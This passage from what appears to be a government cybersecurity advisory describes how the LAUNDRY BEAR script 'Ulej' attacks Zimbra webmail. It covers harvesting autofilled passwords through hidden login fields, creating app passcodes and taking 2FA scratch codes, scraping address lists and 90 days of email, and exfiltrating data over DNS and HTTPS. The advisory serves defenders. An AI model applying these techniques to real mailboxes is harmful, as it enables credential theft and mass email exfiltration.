<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
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  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



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      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
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  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



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      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
